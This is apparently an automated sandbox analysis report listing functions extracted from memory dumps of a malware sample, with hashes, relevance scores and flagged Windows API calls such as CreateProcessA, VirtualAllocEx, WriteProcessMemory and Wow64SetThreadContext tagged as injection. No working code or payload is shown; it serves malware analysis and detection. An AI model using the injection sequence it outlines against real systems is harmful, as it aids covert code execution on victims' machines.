Opcode ID: 35020adbeffb68788e704210b96f89641dbf36ced18a1fc89aa2574e7bd94e48
Instruction ID: 6a2b34bde6ac612d035a3868c7fb6d07ad97634657f7ce3a70d5da75399a7e9c
Opcode Fuzzy Hash: 35020adbeffb68788e704210b96f89641dbf36ced18a1fc89aa2574e7bd94e48
Instruction Fuzzy Hash: 98B1CF74A05208CFDB14CFAAD884BADFBF2BB88305F15946AD609E7265DB346D85CF10

Function 05CDBD49 Relevance: 1.5, Strings: 1, Instructions: 244COMMON

Download Yara Rule

Strings

{NK, xrefs: 05CDC08D

Memory Dump Source

Source File: 00000008.00000002.2649989864.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cd0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID: {NK
API String ID: 0-2109785523
Opcode ID: 38a396cb11111f9244fa9a07724ac3fd56c5d03274b4ced81f7e7669c3a985e3
Instruction ID: 5b0968e6b414f6550c5848bcd1c2f6d12d7f140d6a45a8983901d6fa29bfeccb
Opcode Fuzzy Hash: 38a396cb11111f9244fa9a07724ac3fd56c5d03274b4ced81f7e7669c3a985e3
Instruction Fuzzy Hash: FCB1C074E05208CFDB14CFAAD884BADFBB2BB88304F15846AD609E7265DB346D85CF10

Function 05CD142C Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2649989864.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cd0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01d900453da169a6de1ecaa560f3a6141ff318d3273edb1095773c75356d1544
Instruction ID: 63bedb0bc1694cb5f23a90f1c96f6f679e27bf5ddf7bd457565d7a85694bf828
Opcode Fuzzy Hash: 01d900453da169a6de1ecaa560f3a6141ff318d3273edb1095773c75356d1544
Instruction Fuzzy Hash: D5329174A042298FCB65DF28C984B99B7B6FF88310F1495E9D90DA7361DB30AE81CF54

Function 05CD0011 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2649989864.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cd0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a88148ca4da8c4d589495b5d3db350104d72c0a58170bca229e8aae929029805
Instruction ID: f3c659262f500e95c96118cb2c2066e6532edb3787b223e99985f5969cd496b4
Opcode Fuzzy Hash: a88148ca4da8c4d589495b5d3db350104d72c0a58170bca229e8aae929029805
Instruction Fuzzy Hash: 2C713EB1E046948BEB19CF2AD844699BBB3BFC5304F18C1FAD508AB215DB311A85CF55

Function 05CDB1CC Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2649989864.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cd0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25cedbee4b53181d0b7d26f6eb5a49fa9172bf9d82115b7f3dcec2b2a1df2836
Instruction ID: 3bf7164c2a33449594398b5a55a73b2f387ba4a2dd0dd25b7335b5e0c23b855f
Opcode Fuzzy Hash: 25cedbee4b53181d0b7d26f6eb5a49fa9172bf9d82115b7f3dcec2b2a1df2836
Instruction Fuzzy Hash: E161E470905219CFDB24CF6AD994BADF7F2BB49308F1199A9D609E7261DB345E80CF20

Function 033CB680 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2608722794.00000000033C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 033C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_33c0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e02d5234b6f474eb1cddfec31f61b0db79165cd92cca2b55b9b329bd5adf447e
Instruction ID: f26e3b89b7dfce4215f8e450b25386456e9ab9c39ac1e0e8c547841e5a3741e6
Opcode Fuzzy Hash: e02d5234b6f474eb1cddfec31f61b0db79165cd92cca2b55b9b329bd5adf447e
Instruction Fuzzy Hash: 3561E374D15268CFEB24DF6ACC8979AFBBABB89301F04C1A9D40DA6254DB741A85CF01

Function 05CB1667 Relevance: 1.7, APIs: 1, Instructions: 203
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 05CB184A

Memory Dump Source

Source File: 00000008.00000002.2649764879.0000000005CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cb0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: fdb0481599f25f68111b1d30dcb428ef2fed9c9b4a4de180ca6926544aff38af
Instruction ID: dde42b1510bfee046b70873602ef1b2d82411a278d047ec3c0f8b0bad58f059d
Opcode Fuzzy Hash: fdb0481599f25f68111b1d30dcb428ef2fed9c9b4a4de180ca6926544aff38af
Instruction Fuzzy Hash: 94813571D002599FEB10CFA9C8957EEBBF2FF48310F188929E855A7244DBB58981CB81

Function 05CB1670 Relevance: 1.7, APIs: 1, Instructions: 201
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 05CB184A

Memory Dump Source

Source File: 00000008.00000002.2649764879.0000000005CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cb0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: d1caaa840c6c64bff0db9a0e1dc6b929bb74d82832d5a13578903a72a6b94428
Instruction ID: 56027b28a1b12eee36a7464ff9fbfe3de1c1d533fff01bfb3eca3ee49340c777
Opcode Fuzzy Hash: d1caaa840c6c64bff0db9a0e1dc6b929bb74d82832d5a13578903a72a6b94428
Instruction Fuzzy Hash: F2813671D002599FEB10CFA9C8957EEBBF2FF48310F188529E855A7244DBB59981CB81

Function 05CDCA40 Relevance: 1.6, Strings: 1, Instructions: 341
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d, xrefs: 05CDCCA1

Memory Dump Source

Source File: 00000008.00000002.2649989864.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cd0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 0ad8fc32a900452c7cc0ad2334614488cd75d4cb2432d13050bf9ea254e7d154
Instruction ID: 96fa8ec061dbc8945025b66f09039b8ecce67f02ac7fc911c5a49c192024293d
Opcode Fuzzy Hash: 0ad8fc32a900452c7cc0ad2334614488cd75d4cb2432d13050bf9ea254e7d154
Instruction Fuzzy Hash: 80D13834600606DFCB14CF28C884DAABBF2FF88314B158969D65ADB255DB34FD42CBA0

Function 05CB1E8B Relevance: 1.6, APIs: 1, Instructions: 70
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 05CB1F20

Memory Dump Source

Source File: 00000008.00000002.2649764879.0000000005CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cb0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: ad10e0a56039feeefd1c6e34b44b93523f114ebabd87dd24cab2ae47aec21af3
Instruction ID: 6112285a12bbf43acac6df5711b215caa613151a3f07388c90f821e6ebeff568
Opcode Fuzzy Hash: ad10e0a56039feeefd1c6e34b44b93523f114ebabd87dd24cab2ae47aec21af3
Instruction Fuzzy Hash: E22127769003499FDF10CFA9C885BDEBBF5FF48320F14842AE959A7240C7B99950CBA4

Function 05CB1E90 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 05CB1F20

Memory Dump Source

Source File: 00000008.00000002.2649764879.0000000005CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cb0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 34c1d542a8b3d7368e387902fe52844ad89c1c40078e474eff1ebeea42288712
Instruction ID: de40cd6fd8d5cda45ee01a6a66ce76bb4a2607e566fba094b9525054ad51e2dc
Opcode Fuzzy Hash: 34c1d542a8b3d7368e387902fe52844ad89c1c40078e474eff1ebeea42288712
Instruction Fuzzy Hash: 582127759003499FDF10CFA9C885BDEBBF5FF48320F148429E959A7240C7B99950CBA4

Function 05CB196B Relevance: 1.6, APIs: 1, Instructions: 64
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 05CB19EE

Memory Dump Source

Source File: 00000008.00000002.2649764879.0000000005CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cb0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 6560e13c0dae072512dc08b480816b5ebbbc82337e4a29339a6d2892359461a2
Instruction ID: 37aeeb3db0beb6ea7f6ecea79e35e65f9814efe89ec973fdf83316130a4e7fc4
Opcode Fuzzy Hash: 6560e13c0dae072512dc08b480816b5ebbbc82337e4a29339a6d2892359461a2
Instruction Fuzzy Hash: C32157719003098FEB10CFAAC4857EEBBF4FF88320F148429D559A7240CBB8A944CFA0

Function 05CB1970 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 05CB19EE

Memory Dump Source

Source File: 00000008.00000002.2649764879.0000000005CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cb0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 38c1900472920a2d48c4f00d7d60df0fbb55562d434c403dd456d208716f9658
Instruction ID: 8ef460eec20c39484d0ca0eacb43a4d697609d55662716e608b53ab1acad17f6
Opcode Fuzzy Hash: 38c1900472920a2d48c4f00d7d60df0fbb55562d434c403dd456d208716f9658
Instruction Fuzzy Hash: C82137719003498FEB10CFAAC4857EEBBF4BF88224F148429D559A7240CBB8A944CFA5

Function 05EBD818 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 05EBD88C

Memory Dump Source

Source File: 00000008.00000002.2652167748.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5eb0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 6a539ccfe74fd4b72d23dc08d8496c9e04f3b829aa42a43c2212c2f94bb4339c
Instruction ID: 999c09533efbbc0f3dd18fce816c56cac3a42bab75a97f69d633ada18fb61d33
Opcode Fuzzy Hash: 6a539ccfe74fd4b72d23dc08d8496c9e04f3b829aa42a43c2212c2f94bb4339c
Instruction Fuzzy Hash: 3E11E471D002499FDB10DFAAC885B9EFBF5AF48620F148429D559A7240CB7599408FA1

Function 05CCE2C3 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

SleepEx.KERNELBASE ref: 05CCE337

Memory Dump Source

Source File: 00000008.00000002.2649907805.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cc0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: d837fbc401e4d42356014826d0600db6a65721f5bc13948df968b0edf53965c7
Instruction ID: fe0da50d647c085bdf2fe902cefed6818f3abdc5cde6c92cdb46f006a52cb593
Opcode Fuzzy Hash: d837fbc401e4d42356014826d0600db6a65721f5bc13948df968b0edf53965c7
Instruction Fuzzy Hash: 1E113A719003598FDB10DFAAC445BAFFFF9AF88620F14841AD555A7240CB75A944CBA4

Function 05CCE2C8 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SleepEx.KERNELBASE ref: 05CCE337

Memory Dump Source

Source File: 00000008.00000002.2649907805.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cc0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 160a4ebfffb2f9a8941217ce2b227b68795793115acf5f479da71d31266580b5
Instruction ID: 665f23a1d9b91c14915d345dfbd6b5374bbdae69303ed8144059caeb137306c1
Opcode Fuzzy Hash: 160a4ebfffb2f9a8941217ce2b227b68795793115acf5f479da71d31266580b5
Instruction Fuzzy Hash: 5E1149B19003598FDB10DFAAC445BEFFFF9AF88620F14841AD555A7240CB79A944CBA4

Function 05CB1D8B Relevance: 1.6, APIs: 1, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05CB1DFE

Memory Dump Source

Source File: 00000008.00000002.2649764879.0000000005CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cb0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 2c83688b9284e93364ad0a1777da13c3515ee742236769da9c6c7a2e8dad26fa
Instruction ID: 233f16f5f39e6fe409ee87383121a7c30ce02e46a5f15e63be8a21ab6e8b8555
Opcode Fuzzy Hash: 2c83688b9284e93364ad0a1777da13c3515ee742236769da9c6c7a2e8dad26fa
Instruction Fuzzy Hash: 9E1144729002499FDB10CFAAC845BDEBBF5EF88320F148819E519A7250CB75A910CFA0

Function 05CB1D90 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05CB1DFE

Memory Dump Source

Source File: 00000008.00000002.2649764879.0000000005CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cb0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f081b50727037e22e31fec761228c0c533f404bbfb217d6be7dca790e8a6e09d
Instruction ID: 186ddb2e809d91dfc8f2c45a928aefd4854f9ad84dee6f28775f9a9aadd65cdf
Opcode Fuzzy Hash: f081b50727037e22e31fec761228c0c533f404bbfb217d6be7dca790e8a6e09d
Instruction Fuzzy Hash: B21126729003499FDB10DFAAC845BDFBBF5EF88720F148819E519A7250CB75A950CFA1

Function 035E0000 Relevance: 1.4, Instructions: 1413COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2609372227.00000000035E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 035E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_35e0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13532e0353c984321d80cb29b59a9ec33b8d9b219f85b1c01a3537219d0838f4
Instruction ID: 0c6c5e9457c275ac7738a90ad76415410139589e7b92202a64f69322dfa173dd
Opcode Fuzzy Hash: 13532e0353c984321d80cb29b59a9ec33b8d9b219f85b1c01a3537219d0838f4
Instruction Fuzzy Hash: F7B24D7150A3C49FD72ACB759C65BAA7F74AF03304F1A41DBE184DB2E2C6B45848CB62

Function 035E00A8 Relevance: 1.4, Instructions: 1353COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2609372227.00000000035E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 035E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_35e0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b2b8cd53e1223d908292601acf3cfb87be7936bb46fc24082931b960c612843
Instruction ID: 72d1a215a434bbeca0992785afad1ed7428873bdf4ba035037f7c45393a566c0
Opcode Fuzzy Hash: 4b2b8cd53e1223d908292601acf3cfb87be7936bb46fc24082931b960c612843
Instruction Fuzzy Hash: 77B25D7150A3C4AFD72ACB75DC65BAA7F74AF03304F1941DAE184DB2E2C6B45848CB62

Function 05EBE890 Relevance: 1.3, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 05EBE8FB

Memory Dump Source

Source File: 00000008.00000002.2652167748.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5eb0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 25ea33559438c272af36dcdbcc66e9c53170895cee582a67454439780f107596
Instruction ID: fd723e9a87ed777a04a6e91d3d8082d79ad0fa210cb7ebfade1127d968c97747
Opcode Fuzzy Hash: 25ea33559438c272af36dcdbcc66e9c53170895cee582a67454439780f107596
Instruction Fuzzy Hash: 8A1126719003499FDB10DFAAC845BDFBBF5AF88720F148419D559A7250CB75A540CB91

Function 05CD2250 Relevance: 1.3, Strings: 1, Instructions: 21COMMON

Download Yara Rule

Strings

X, xrefs: 05CD2259

Memory Dump Source

Source File: 00000008.00000002.2649989864.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cd0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID: X
API String ID: 0-3081909835
Opcode ID: 6d3716e0ad4e38b3e1762ba833c499b7aa33862b0dbbffe5740d509ef6233253
Instruction ID: 9cfed806fb5e2c44df890143500d35fc1a9e2eff46b8c7371f554081b36e6c4f
Opcode Fuzzy Hash: 6d3716e0ad4e38b3e1762ba833c499b7aa33862b0dbbffe5740d509ef6233253
Instruction Fuzzy Hash: 52E0267580C184EFDB01CBA0DD007A8BBB6AB4220AF0C81CD9C4CD72A2CA31CE0AD741

Function 05CD5BFA Relevance: 1.3, Strings: 1, Instructions: 14COMMON

Download Yara Rule

Strings

/, xrefs: 05CD5C32

Memory Dump Source

Source File: 00000008.00000002.2649989864.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cd0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: 5cdc337f04fae1a10a29d56e6d369445eac743360db800bee8e9edc9d1f7c343
Instruction ID: 85690f63ec56ba865486ae96dfaaed982c2e4d541ed2f97c1aaceb36e9e92598
Opcode Fuzzy Hash: 5cdc337f04fae1a10a29d56e6d369445eac743360db800bee8e9edc9d1f7c343
Instruction Fuzzy Hash: 84E0EC749053558FDB91DF25C89869DBBB1AB45320F1416D98419BB291DB305E81CF10

Function 033C4145 Relevance: 1.3, Strings: 1, Instructions: 5COMMON

Download Yara Rule

Strings

jjjjjj, xrefs: 033C429E

Memory Dump Source

Source File: 00000008.00000002.2608722794.00000000033C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 033C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_33c0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID: jjjjjj
API String ID: 0-3900813449
Opcode ID: 0640cbf7cad4157b9509ca6e2d503a2a59e0bec7aea60e622cfd629f75c2a403
Instruction ID: 928717d4f6246ad9bf290bb1aa4717c68ee580bb8875fd92cbd6645919f7a69f
Opcode Fuzzy Hash: 0640cbf7cad4157b9509ca6e2d503a2a59e0bec7aea60e622cfd629f75c2a403
Instruction Fuzzy Hash: 98B01130A08082CA8B02CA0288E02283220BF82208B38C0AAC88B0EA00C220CC82CB20

Function 05EDE548 Relevance: .5, Instructions: 516COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2652314334.0000000005ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5ed0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3712d825a7285b0079c1d8d3d8ee41fc0e0e87b94fa7581292611cfe63bce63
Instruction ID: 8d83fbbd497faea18a7cc5b5d3a5083435650db4b11e10d8342fc85cb23be84b
Opcode Fuzzy Hash: d3712d825a7285b0079c1d8d3d8ee41fc0e0e87b94fa7581292611cfe63bce63
Instruction Fuzzy Hash: 0B227F34E00219CFDF15CFA5C855AADBBB6FF88304F149055E852AB294EB799D42CFA0

Function 035E0E0C Relevance: .5, Instructions: 469COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2609372227.00000000035E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 035E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_35e0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f4a32ab184b8cb46b86b26bd754d5ae66a4ebda395bb59388fc3aeeac11f23b
Instruction ID: ac8c8a29de12f0f503714c9cef8a74062770f2962413d1e9c102c2907286cf7c
Opcode Fuzzy Hash: 7f4a32ab184b8cb46b86b26bd754d5ae66a4ebda395bb59388fc3aeeac11f23b
Instruction Fuzzy Hash: F122D574E04609CFCB18DFE5E848AAEBBB1BF89301F548419E5126B3A4DB755E82CF50

Function 05CDCF88 Relevance: .5, Instructions: 459COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2649989864.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cd0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d51e0fdc2ffc225631722b664f54306578a3dca8a5b5936ef398a4d1a6f1226a
Instruction ID: dcd0cd21389e589e4d020bbeb2453165a076e8e53f27c404cdac27f986715893
Opcode Fuzzy Hash: d51e0fdc2ffc225631722b664f54306578a3dca8a5b5936ef398a4d1a6f1226a
Instruction Fuzzy Hash: AB024D34A002059FDB25DFA5D884AAEBBF2FF88300F14892DE546DB255DB35ED46CB60

Function 05CDEC40 Relevance: .4, Instructions: 370COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2649989864.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cd0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4307efee4479b307dc393c31eb7a18e6219ff43af99865aa0dbbc9f21ac90ac9
Instruction ID: ae37d45a6b0ef393ae59ebcbfc01bae356fe0ad06cc1bed7c6363f685eaba4fa
Opcode Fuzzy Hash: 4307efee4479b307dc393c31eb7a18e6219ff43af99865aa0dbbc9f21ac90ac9
Instruction Fuzzy Hash: 12F1A834A10118DFCB08DFA4D998A9DBBB6FF88301F158559E506AB3A5DB71EC42CF50

Function 035E18C0 Relevance: .4, Instructions: 362COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2609372227.00000000035E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 035E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_35e0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6631c09128c633c1650c7c7729c69f1db3110b3e71f82a4d3fbb82329ccec69f
Instruction ID: 8aedd44b09ebd0e070a3b5207cf38938ad0716969656739f3476efe4dfee35db
Opcode Fuzzy Hash: 6631c09128c633c1650c7c7729c69f1db3110b3e71f82a4d3fbb82329ccec69f
Instruction Fuzzy Hash: 2CF1CA74E01218DFCB18DFA4E9986ADBBB6FF49301F604569E406AB364DB356E81CF40

Function 05CDDBBF Relevance: .3, Instructions: 321COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2649989864.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cd0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8464727edacd5e1fbc361305ca91af6761f2d8a8777470059b92a3c8d51be12b
Instruction ID: 918b7bdfb6c4c7fa5e477f7aadaaa975fcac7b46f65d058b46cd2eb23af05ebc
Opcode Fuzzy Hash: 8464727edacd5e1fbc361305ca91af6761f2d8a8777470059b92a3c8d51be12b
Instruction Fuzzy Hash: BAC16E34B00606DFDB04DF68D480AAEBBE2FF84314F158569E906DB2A5DB74ED45CBA0

Function 05EDAFC8 Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2652314334.0000000005ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5ed0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28e02057cdf4da650f63cf7388ec717e794125bb27b5d5e4f517b23b4fef45b4
Instruction ID: 7acaebf1fc5e9ba554465d1fbeb22065d1c9bc1f80cd970eb1176a907a38d4d6
Opcode Fuzzy Hash: 28e02057cdf4da650f63cf7388ec717e794125bb27b5d5e4f517b23b4fef45b4
Instruction Fuzzy Hash: 6DA18936B00205DFDB04DFA4D855AADBBB6FF88315F15806AE8529B290EB35D842CF60

Function 05CD7978 Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2649989864.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cd0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe00e348604b18e18eef05ded1d2c157d6c919c58c1bf39e5eb423b0e44f052b
Instruction ID: 0df91a76e2ee720969b7b79a944e0ab113891adda44862beb3bd1f29cdb1f1a3
Opcode Fuzzy Hash: fe00e348604b18e18eef05ded1d2c157d6c919c58c1bf39e5eb423b0e44f052b
Instruction Fuzzy Hash: 48A1E274E04218DFCB14DFA9C884AADFBF2FB89304F10552AD606AB254DB745E46CFA1

Function 05CDEC30 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2649989864.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5cd0000_6UF1Jcwj34zqEggktO7mg1WS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9be919bcc177807d7147d22ee3f85d04bc88b5fd02293becbd5aa9e6e4a647ce
Instruction ID: 7a95680da3d16f2ff5d035cd5f55f4b363c234d3a390175427ad0c03c2597679
Opcode Fuzzy Hash: 9be919bcc177807d7147d22ee3f85d04bc88b5fd02293becbd5aa9e6e4a647ce
Instruction Fuzzy Hash: F2A1B738A10218DFCB04EFA4D998A9DFBB6FF88300F158559E506AB365DB70AC46CF50

Function 035E27E0 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2609372227.00000000035E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 035E0000, based on PE: false

Joe Sandbox IDA Plugin

